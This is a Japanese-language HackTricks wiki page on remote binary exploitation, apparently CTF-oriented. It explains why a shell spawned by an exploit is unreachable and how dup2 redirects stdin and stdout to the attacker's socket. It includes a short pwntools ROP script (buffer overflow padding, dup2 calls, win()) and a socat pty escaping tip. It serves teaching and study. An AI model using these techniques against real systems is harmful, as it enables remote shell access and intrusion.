mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
2.0 KiB
2.0 KiB
一般的なエクスプロイトの問題
{{#include ../banners/hacktricks-training.md}}
リモートエクスプロイトにおけるFD
例えば、**system('/bin/sh')**を呼び出すエクスプロイトをリモートサーバーに送信すると、これはサーバープロセス内で実行され、/bin/shはstdin(FD: 0)からの入力を期待し、stdoutおよびstderrに出力を印刷します(FDs 1 と 2)。したがって、攻撃者はシェルと対話することができません。
これを修正する方法は、サーバーが起動したときにFD番号 3(リスニング用)を作成し、その後、あなたの接続が**FD番号 4**になると仮定することです。したがって、syscall **dup2**を使用してstdin(FD 0)とstdout(FD 1)をFD 4(攻撃者の接続のもの)に複製することが可能であり、これによりシェルが実行されたときに連絡を取ることが可能になります。
from pwn import *
elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)
rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()
p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()
Socat & pty
socatはすでに**stdinとstdoutをソケットに転送します。ただし、ptyモードはDELETE文字を含みます**。したがって、\x7f(DELETE -)を送信すると、あなたのエクスプロイトの前の文字を削除します。
これを回避するために、エスケープ文字\x16を送信する任意の\x7fの前に追加する必要があります。
ここでこの動作の例を 見つけることができます。
{{#include ../banners/hacktricks-training.md}}